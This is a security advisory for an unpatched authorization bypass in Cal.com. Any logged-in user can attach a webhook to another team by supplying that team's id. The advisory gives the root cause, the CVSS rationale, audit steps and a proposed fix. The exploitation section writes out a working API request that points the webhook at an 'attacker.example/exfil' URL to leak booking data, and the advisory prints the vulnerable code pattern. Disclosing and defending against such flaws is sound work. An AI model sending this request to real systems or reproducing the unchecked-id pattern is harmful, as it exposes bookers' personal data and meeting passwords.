Cross-Tenant Webhook Plant in Cal.com — Authorization Bypass via Unvalidated teamId
| Advisory | GHSA-4fwh-xxpv-xfm6 |
|---|---|
| CVE | Pending (CERT/CC coordination, VRF#26-06-RPFHL) |
| Severity | Critical CVSS v3.1 base score 9.6 |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L |
| Weaknesses | CWE-639 — Authorization Bypass Through User-Controlled Key (IDOR) • CWE-862 — Missing Authorization |
| Product | Cal.com (open-source scheduling platform) |
| Affected | Cal.com self-hosted (Community Edition) and Cal.diy SaaS; master @ commit a4a01a0 and prior releases |
| Fixed in | No fix available Unpatched at time of publication |
| Reported by | Louis Sanchez — Voke Cyber |
| Coordination | CERT/CC coordinated. Vendor unresponsive during coordination. |
No patch available
At the time of publication there is no fixed release and the vendor has not responded during coordination. Operators running self-hosted Cal.com should apply the interim detection below and audit their webhook table now. Any team's bookings may already be forwarded to a third party without any visible sign in the team's own view.
Summary
Cal.com lets a booking's data be pushed to an external system in real time through webhooks. The API that creates a webhook (viewer.webhook.create) accepts a teamId field and never checks that the caller is a member of that team. Any authenticated user — including a free account with no relationship to the target — can supply another team's numeric id and attach a webhook to it. From that moment every booking made against the victim team is copied in full to a URL the attacker controls, signed with a secret the attacker chose. The leaked payload includes the booker's name, email, and phone number, their intake answers, the organizer's email, and the video-call URL and its password. The victim sees a normal booking; nothing in their view reveals a copy is leaving.
Background: what a Cal.com webhook carries
Cal.com is a widely used open-source scheduling platform. Teams use it to let clients book time, and every booking carries real personal data. Cal.com can push that data to an external system in real time through webhooks, so an organizer can wire bookings into a CRM, a chat tool, or their own automation.
A webhook subscribes to booking events for a team. When one fires, Cal.com delivers the full event payload to the subscriber URL. For each meeting booked against the team, that payload contains:
- The booker's full name, email address, and phone number
- Anything the booker entered in custom questions or notes
- The organizer's email address
- The video-call URL, including its password
A webhook attached to a team is, in effect, a real-time feed of that team's bookings. The security of that feed depends entirely on only the team's own admins being able to create one. That is the assumption this vulnerability breaks.
Root cause: the teamId is never validated
Creating a webhook goes through a piece of middleware that is supposed to confirm the caller is allowed to own the webhook they are creating. It checks ownership along two paths, both correctly: when the request references an existing webhook by id, and when it ties the webhook to one of the caller's own event types.
The gap is the third path. The create request also accepts a teamId field, and nothing ever checks that field against the caller's team memberships. The handler pins the webhook's owning user to the caller — but it never clears or validates the attacker-supplied teamId, so the row is persisted as belonging to the victim team.
// webhook create — ownership is checked for id and eventTypeId paths, // but the teamId from the request is written straight through. const data = { ...input, userId: ctx.user.id, // correctly pinned to the caller teamId: input.teamId, // attacker-controlled, never checked }; await prisma.webhook.create({ data });
Once the row exists, Cal.com's normal delivery logic does the rest. Every time a booking event fires for a team, the platform looks up all active webhooks attached to that team and delivers the event to each subscriber URL. The planted webhook matches that lookup exactly like a legitimate one, so it receives every booking for the victim team from then on.
The broader weakness underneath it
The open-source build of Cal.com ships stub versions of its permission-check service that simply return "allowed" for everything, because the real permission engine is closed-source and not included. That stub pattern appears in several places and quietly disables role-based checks that the code appears to perform. The webhook teamId bug is the most damaging instance, but the same underlying gap produces a set of related, lower-severity issues that share the same root cause and fix direction:
- Cross-team read and edit of team webhooks
- Cross-tenant reading of a booking's attendee details
- A bypass of the "private team" member-list setting
- Members seeing webhook secrets they should not
Exploitation
Prerequisite: any authenticated Cal.com account. A free account with no relationship to the victim is enough.
The victim team is identified by a small incrementing number, which an attacker can guess directly or resolve from the team's public booking pages. With that number in hand, the attack is a single API call:
POST /api/trpc/webhook/create
Cookie: <attacker session>
Content-Type: application/json
{"json":{
"subscriberUrl":"https://attacker.example/exfil",
"eventTriggers":["BOOKING_CREATED","BOOKING_RESCHEDULED","BOOKING_CANCELLED",
"MEETING_STARTED","MEETING_ENDED"],
"active":true,
"secret":"attacker-chosen-secret",
"teamId": <victim team id>
}}
The server responds 200 OK and stores a webhook owned by the victim team but pointing at the attacker's URL. No further action is needed. Every subsequent booking on any of that team's event types delivers the complete booking payload to the attacker, signed with the attacker's own secret. The victim sees a normal booking; nothing in their own view reveals that a copy is leaving the building.
Impact
- Confidentiality (High) — Full personal data for every booker on the victim team, every organizer's email, and every video-call link and password.
- Integrity (High) — The attacker chooses the signing secret, so they can forge their own signed webhook messages to any downstream system the victim trusts. That opens a path to convincing, signed phishing — for example a fake "your meeting was rescheduled" message carrying attacker-chosen content.
- Scope (Changed) — The people harmed are the bookers and hosts: third parties who have no relationship to the attacker's account. That cross-tenant reach is what pushes the severity to Critical.
CVSS vector rationale
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
- AV:N — The Cal.com API is reachable over the network.
- AC:L — A single request; the only input is the victim's small numeric team id.
- PR:L — Any authenticated account, including a free one with no relationship to the target.
- UI:N — No victim interaction. Bookings flow to the attacker automatically once the webhook is planted.
- S:C (Scope Changed) — The impact lands on bookers and hosts across a tenant boundary, not on the attacker's own account.
- C:H — Complete attendee PII plus video-call URLs and passwords for every booking.
- I:H — Attacker-chosen signing secret enables forged, signed notifications to downstream systems.
- A:L — The primary harm is disclosure and integrity; availability impact is limited.
Remediation and interim measures
There is no vendor fix available at the time of publication. The correct code-level fix is to validate the teamId on webhook creation: when a caller supplies a teamId, confirm they are an admin or owner of that team before persisting the webhook, and reject the request otherwise. The same team-ownership check should be applied to the read, edit, and delete paths for team webhooks. More broadly, the open-source build should ship a real permission-check implementation that genuinely enforces role membership, so the role-based checks the code appears to make are not silently turned into no-ops.
Operators running self-hosted Cal.com who need an interim measure should:
- Audit the webhook table now. Flag any webhook row whose owning user is not a member of the team the webhook is attached to — that mismatch is the signature of the attack.
- Review subscriber URLs. Check every active webhook's subscriberUrl against your expected integrations, and remove any pointing at an unfamiliar destination.
- Rotate exposed data. Where a planted webhook is found, treat the affected bookings' attendee data and video-call credentials as compromised.
Disclosure timeline
- 2026-05-20 — Vulnerability identified through source review of Cal.com and reported.
- 2026-06 — Coordinated disclosure opened with CERT/CC (case reference VRF#26-06-RPFHL). GitHub Security Advisory GHSA-4fwh-xxpv-xfm6 filed.
- 2026-07 — Vendor had not responded; CERT/CC requested a proof-of-concept package to verify and assign a CVE.
- 2026-07-22 — Researcher write-up published to warn operators in the absence of a patch. CVE assignment pending.
References
- GitHub Security Advisory: GHSA-4fwh-xxpv-xfm6
- Cal.com project: cal.com • github.com/calcom/cal.com
- Blog post (story and disclosure narrative): A Scheduling Tool Turned Into a Wiretap: The Cal.com Webhook That Trusts Its Own Input
Found and reported by Louis Sanchez, Founder & Principal Security Consultant at Voke Cyber (OSCP, OSWA, CISSP, CCSK). Prior advisories: CVE-2026-15630 (Casdoor), CVE-2026-39878 (Chamilo LMS), CVE-2026-48742 (Coolify), CVE-2026-35198 (HeyForm), and CVE-2026-48507 (Snipe-IT).
We find the bugs tools miss
A missing ownership check on one field, hidden behind middleware that looks like it validates everything, is exactly the kind of flaw automated scans do not catch. It surfaces when someone reads the create path and asks whether every user-supplied identifier is checked against the caller. That is how we approach web application and API testing for clients across the Charlotte, NC area and nationwide.
Get a Quote